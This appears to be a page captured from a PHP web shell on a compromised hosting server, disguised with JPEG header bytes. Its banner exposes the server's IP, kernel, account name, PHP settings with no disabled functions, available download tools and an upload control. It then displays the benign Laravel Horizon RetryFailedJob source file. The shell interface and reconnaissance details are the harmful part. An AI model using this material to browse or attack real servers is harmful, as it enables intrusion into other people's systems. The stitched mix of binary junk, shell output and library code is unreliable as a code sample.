����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/laravel/horizon/src/Jobs/ |
Upload File : |
<?php
namespace Laravel\Horizon\Jobs;
use Carbon\CarbonImmutable;
use Illuminate\Contracts\Queue\Factory as Queue;
use Illuminate\Support\Str;
use Laravel\Horizon\Contracts\JobRepository;
class RetryFailedJob
{
/**
* The job ID.
*
* @var string
*/
public $id;
/**
* Create a new job instance.
*
* @param string $id
* @return void
*/
public function __construct($id)
{
$this->id = $id;
}
/**
* Execute the job.
*
* @param \Illuminate\Contracts\Queue\Factory $queue
* @param \Laravel\Horizon\Contracts\JobRepository $jobs
* @return void
*/
public function handle(Queue $queue, JobRepository $jobs)
{
if (is_null($job = $jobs->findFailed($this->id))) {
return;
}
$queue->connection($job->connection)->pushRaw(
$this->preparePayload($id = Str::uuid(), $job->payload), $job->queue
);
$jobs->storeRetryReference($this->id, $id);
}
/**
* Prepare the payload for queueing.
*
* @param string $id
* @param string $payload
* @return string
*/
protected function preparePayload($id, $payload)
{
$payload = json_decode($payload, true);
return json_encode(array_merge($payload, [
'id' => $id,
'uuid' => $id,
'attempts' => 0,
'retry_of' => $this->id,
'retryUntil' => $this->prepareNewTimeout($payload),
]));
}
/**
* Prepare the timeout.
*
* @param array $payload
* @return int|null
*/
protected function prepareNewTimeout($payload)
{
$retryUntil = $payload['retryUntil'] ?? $payload['timeoutAt'] ?? null;
return $retryUntil
? CarbonImmutable::now()->addSeconds(ceil($retryUntil - $payload['pushedAt']))->getTimestamp()
: null;
}
}